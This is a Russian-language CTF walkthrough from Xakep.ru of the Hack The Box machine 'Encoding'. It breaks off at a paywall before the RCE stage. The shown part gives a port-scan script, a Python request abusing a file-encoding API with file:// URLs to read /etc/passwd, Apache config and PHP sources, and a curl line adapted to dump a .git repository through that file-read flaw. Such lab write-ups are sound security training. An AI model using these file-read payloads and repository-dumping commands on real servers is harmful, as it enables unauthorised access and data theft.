Се­год­ня мы с тобой прой­дем по цепоч­ке уяз­вимос­тей: от LFI к экс­плу­ата­ции Git, к дру­гой LFI и под конец — RCE. По дороге нам понадо­бит­ся модер­низиро­вать Git-дам­пер, а при прод­вижении будем исполь­зовать выпол­нение кода через Git.

На­ша цель — зах­ватить тре­ниро­воч­ную машину Encoding с пло­щад­ки Hack The Box. Уро­вень слож­ности — сред­ний.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.198 encoding.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

Мы наш­ли два откры­тых пор­та: 22 — служ­ба OpenSSH 8.9p1 и 80 — веб‑сер­вер Apache 2.4.52. Боль­ше ничего инте­рес­ного в резуль­татах ска­ниро­вания нет, поэто­му идем изу­чать веб‑сер­вер.

Главная страница сайта encoding.htb
Глав­ная стра­ница сай­та encoding.htb
 

Точка входа

Бег­лый прос­мотр сай­та выводит нас на API, который работа­ет на отдель­ном под­домене. Добав­ляем новый под­домен в файл /etc/hosts.

10.10.11.198 encoding.htb haxtables.htb api.haxtables.htb
Страница API
Стра­ница API

Об­рати вни­мание, что зап­рашива­емая стра­ница переда­ется в парамет­ре page. В таких слу­чаях сто­ит сра­зу про­верить наличие LFI. Одна­ко най­ти уяз­вимость не уда­лось. Зато на стра­нице есть при­меры кода, как работать с API для кодиро­вания фай­лов, получа­емых по ука­зан­ному URL.

Код для кодирования файла
Код для кодиро­вания фай­ла

Нем­ного под­пра­вим код, что­бы пос­ле получе­ния закоди­рован­ного фай­ла обра­ботать ответ и декоди­ровать файл.

import requests
import json
import base64
json_data = {
'action': 'b64encode',
'file_url' : 'http://10.10.14.78/test.txt'
}
response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
data = json.loads(response.text.strip())
print(base64.b64decode(data["data"]).decode())

А теперь зап­росим файл со сво­его веб‑сер­вера:

python3 -m http.server 80
Логи веб-сервера
Ло­ги веб‑сер­вера
Результат запроса
Ре­зуль­тат зап­роса

Код работа­ет, файл по ссыл­ке получен. А теперь про­буем изме­нить про­токол с http:// на file://, что­бы попытать­ся получить локаль­ный файл с сер­вера. Читать будем /etc/passwd, для чего изме­ним в коде параметр file_url.

'file_url' : 'file:///etc/passwd'
Содержимое файла /etc/passwd
Со­дер­жимое фай­ла /etc/passwd

И получа­ем воз­можность читать про­изволь­ные фай­лы.

 

Точка опоры

 

Чтение произвольных файлов

Что­бы про­читать фай­лы сай­та, нам нуж­но знать путь к кор­невому катало­гу. В этом нам поможет файл кон­фигура­ции веб‑сер­вера.

'file_url' : 'file:///etc/apache2/sites-enabled/000-default.conf'
Содержимое файла /etc/apache2/sites-enabled/000-default.conf
Со­дер­жимое фай­ла /etc/apache2/sites-enabled/000-default.conf

В ито­ге получа­ем пути к кор­невым катало­гам трех сай­тов. Добав­ляем запись для под­домена image в файл /etc/hosts, нес­мотря на то что дос­туп к это­му сай­ту раз­решен толь­ко с локаль­ного хос­та.

10.10.11.198 encoding.htb haxtables.htb api.haxtables.htb image.haxtables.htb

Пер­вым делом чита­ем файл index.php, что­бы рас­крыть новые под­клю­чаемые фай­лы.

'file_url' : 'file:///var/www/image/index.php'
Содержимое файла image/index.php
Со­дер­жимое фай­ла image/index.php

Рас­кры­ваем новый под­клю­чаемый файл utils.php. Прос­мотрим и его.

'file_url' : 'file:///var/www/image/utils.php'
Содержимое файла image/utils.php
Со­дер­жимое фай­ла image/utils.php

Изу­чая исходный код, отме­чаем для себя, что в катало­ге есть репози­торий Git. Давай най­дем спо­соб ска­чать его весь.

 

Git

Для дам­па все­го репози­тория мож­но исполь­зовать ути­литу Dumper. Но так как мы чита­ем фай­лы не нап­рямую, а через уяз­вимость на сер­вере, скрипт нуж­но нем­ного модер­низиро­вать. Най­дем коман­ду, где выпол­няет­ся зап­рос с помощью curl.

Команда запроса к веб-серверу
Ко­ман­да зап­роса к веб‑сер­веру

Из­меним ее для работы через сер­вис кодиро­вания.

curl 'http://api.haxtables.htb/v3/tools/string/index.php' -s -H 'Content-Type: application/json' --data-binary "{"action": "b64encode", "file_url": "file:///var/www/image/.git/$objname"}" | jq .data | tr -d '"' | base64 -d > "$target"

Те­перь запус­каем скрипт и получа­ем весь репози­торий.

Результат работы скрипта
Ре­зуль­тат работы скрип­та

Для ана­лиза Git я обыч­но исполь­зую прог­рамму gitk. Запус­каем ее из дирек­тории, где содер­жится каталог .git. Мы и так можем читать фай­лы на сер­вере, поэто­му меня прос­то инте­ресо­вало, какие фай­лы и катало­ги на нем есть.

Репозиторий в gitk
Ре­пози­торий в gitk

Сра­зу обра­щаем вни­мание на action_handler.php, о котором мы преж­де не зна­ли.

'file_url' : 'file:///var/www/image/actions/action_handler.php'
Содержимое файла action_handler.php
Со­дер­жимое фай­ла action_handler.php

И видим очень опас­ное исполь­зование фун­кции include. Так в нее переда­ется при­нима­емый GET-параметр page. Но мы не можем обра­тить­ся к это­му фай­лу нап­рямую, так как дос­туп к сай­ту image воз­можен толь­ко с локаль­ного хос­та. Эту LFI мож­но рас­кру­тить до RCE, но нам нуж­на еще уяз­вимость SSRF, что­бы обра­тить­ся к сай­ту image.

Ни­чего инте­рес­ного боль­ше най­ти не получи­лось, поэто­му вер­немся к пер­вому сай­ту и прос­каниру­ем фай­лы PHP с помощью feroxbuster.

feroxbuster -u http://haxtables.htb/ -w php_files_common.txt -d 1
Результат сканирования файлов PHP
Ре­зуль­тат ска­ниро­вания фай­лов PHP

На­ходим файл handler.php. Сра­зу получа­ем его содер­жимое.

'file_url' : 'file:///var/www/html/handler.php'
Содержимое файла handler.php
Со­дер­жимое фай­ла handler.php

Сер­вер обра­баты­вает параметр uri_path и переда­ет его в фун­кцию make_api_call. Получим код этой фун­кции из фай­ла utils.php.

'file_url' : 'file:///var/www/api/utils.php'
Содержимое файла api/utils.php
Со­дер­жимое фай­ла api/utils.php

Эта фун­кция нуж­на для отправ­ки зап­роса на ука­зан­ный URL. Вот мы и узна­ли спо­соб выпол­нить зап­рос к action_handler.php, где мы наш­ли вызов include.

 

PHP include RCE

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    2 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии